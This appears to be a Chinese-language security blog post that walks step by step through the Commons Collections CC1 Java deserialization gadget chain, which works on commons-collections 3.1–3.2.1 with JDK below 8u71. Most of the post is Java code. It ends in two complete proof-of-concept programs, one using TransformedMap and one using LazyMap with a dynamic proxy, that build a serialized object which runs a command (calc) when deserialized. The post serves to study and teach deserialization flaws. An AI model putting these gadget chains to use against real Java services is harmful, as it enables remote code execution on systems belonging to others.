CC1

java反序列化CC1链路

版本要求:

commons-collections 3.1–3.2.1

jdk < 8u71

链路概览:

/*
    Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()
    Requires:
        commons-collections
 */

下面对每个函数调用进行追根溯源:

入口:InvokerTransformer

这个类继承自Transformer。

public class InvokerTransformer implements Transformer, Serializable 

先来看看这个类的构造函数和transform函数

    //构造函数
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    //transform函数
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

可以看到,这个对象的构造函数传入一个方法名,这个方法的参数类型,以及这个方法的参数,并且在transform方法中通过反射传入transform的对象以传入构造方法的参数类型和参数调用这个方法。比如我们下面弹个计算器:

public class poc {
    public static void main(String[] args){
        Runtime rt = Runtime.getRuntime();
        InvokerTransformer inex = new  InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        inex.transform(rt);
    }
}

可以看到成功了

那么下一步就是找到谁会调用transform()方法

TransformedMap:

protected Object checkSetValue(Object value) {
      return valueTransformer.transform(value);
}

可以看到一个叫TransformedMap的类的checkSetValue会调用自己valueTransformer成员的transform方法,如果将这个成员设定为一个InvokerTransformer就可以。那么我们就需要先找到这个成员是怎么来的

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

可以看到,这个类的构造方法会设定valueTransformer成员。如果传入一个InvokerTransformer再调用它的checkSetValue就可以成功。但是这个类的构造方法是protected,无法直接调用,还要再找。

这里我们可以看到这个类暴露了一个decorate给外部调用以进行构造。

我们打个test

package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class poc {
    public static void main(String[] args) throws Exception{
        Runtime rt = Runtime.getRuntime();
        InvokerTransformer inex = new  InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> rce = TransformedMap.decorate(map,null,inex);
        Class<?> rce2 = rce.getClass();
        Method test = rce2.getDeclaredMethod("checkSetValue",Object.class);
        test.setAccessible(true);
        test.invoke(rce,rt);
    }
}

下面找谁调用了checkSetValue

AbstractInputCheckedMapDecorator:

可以看到TransformedMap的父类AbstractInputCheckedMapDecorator的setValue调用了checkSetValue

public Object setValue(Object value) {
      value = parent.checkSetValue(value);
      return entry.setValue(value);
}

这里简单介绍一下,调用TransformedMap的entrySet()时会自动用AbstractInputCheckedMapDecorator包装,其中的parent指向自己。

所以test如下:

package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class poc {
    public static void main(String[] args) throws Exception{
        Runtime rt = Runtime.getRuntime();
        InvokerTransformer inex = new  InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> rce = TransformedMap.decorate(map,null,inex);
        map.put("a","b");
        for(Map.Entry XXX : rce.entrySet()){
            XXX.setValue(rt);
        }
    }
}

成功。

AnnotationInvocationHandler:

继续往下看到入口readObject

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

可以看到反序列化时会遍历map并且调用setValue。而这个拿来遍历的memberValues我们也可以找到

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

在构造器里,也是可控的。

package sun.reflect.annotation;

这个类只能在sun.reflect.annotation这个本包下被调用,需要反射调用

解决注解值为空:

同时我们可以看到:

if (memberType != null) {  // i.e. member still exists
      Object value = memberValue.getValue();
      if (!(memberType.isInstance(value) ||
             value instanceof ExceptionProxy)) {
            memberValue.setValue(
                  new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                        annotationType.members().get(name)));
      }
}

这里有两个if语句需要满足,第二个是一定会满足的,我们重点看第一个。

memberType != null

我们找到memberType是怎么来的

跟进一下:

Class<?> memberType = memberTypes.get(name);

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

这里看出来是在获取注解类型的实例,那么换一个有值的注解就可以,比如下面这个:

Target.class

Object o = constructor.newInstance(Target.class,transformermap);

解决setValue里的value不可控和runtime不可序列化:

首先我们看runtime:

public class Runtime {

这里看到它并没有实现序列化接口,所以会序列化失败,但是可以运用反射来获取它的原型类,它的原型类Class是存在serializable接口,可以序列化的。

这个反射我们可以靠invoketransformer实现。

我们再看:

memberValue.setValue(
      new AnnotationTypeMismatchExceptionProxy(
            value.getClass() + "[" + value + "]").setMember(
                  annotationType.members().get(name)));

这里我们知道传入setValue的值不是我们控制的,所以要找一个不靠传入runtime实例rce的办法。

综合下来我们找到两个东西。先看这个:

ChainedTransformer类有一个transform方法:
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

利用它可以实现对transformer类数组的链式调用,再看下面这个ConstantTransformer类:

    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    } 
    public Object transform(Object input) {
        return iConstant;
    }

利用这个我们可以实现一个transformer类的对象,只要对它调用transform (),不管参数如何都返回一个固定可控对象。那么综合起来可以这么构造:

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

那么我们就可以构造最终的链子:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };
        ChainedTransformer inex = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> rce = TransformedMap.decorate(map,null,inex);
        map.put("value","b");
        Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = handler.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Target.class,rce);
        serialize(obj);
        unserialize("test.txt");
    }
    public static void serialize(Object object) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
        oos.writeObject(object);
        oos.close();
    }
    //定义反序列化操作
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
}

使用lazymap触发transform:

我们先看LazyMap的get方法:

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

可以看到会调用factory的transform方法。那factory是怎么来的呢?

    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    } 
    protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }

可以看到调用公共的decorate再传入一个transformer对象即可rce。我们直接用之前构造的ChainedTransformer即可,触发之后会链式调用也不需要参数。下面我们就要找怎么触发get()方法

我们看到AnnotationInvocationHandler类的invoke方法调用了memberValues的get方法,同时我们之前也看到这个成员是可控的。

Object result = memberValues.get(member);

那么怎么调用invoke呢?用动态代理即可,对动态代理对象进行任何方法的调用都会转到它的InvocationHandler上。我们设定一个用AnnotationInvocationHandler代理的对象,再用它构造AnnotationInvocationHandler。反序列化最后构造出来的时候AnnotationInvocationHandler会调用代理对象的方法,然后就会再转到invoke上去。所以最后的poc:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };
        ChainedTransformer inex = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> rce = LazyMap.decorate(map,inex);
        Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = handler.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class,rce);
        Map proxyedMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
        Object obj = constructor.newInstance(Override.class,proxyedMap);
        serialize(obj);
        unserialize("test.txt");
    }
    public static void serialize(Object object) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
        oos.writeObject(object);
        oos.close();
    }
    //定义反序列化操作
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇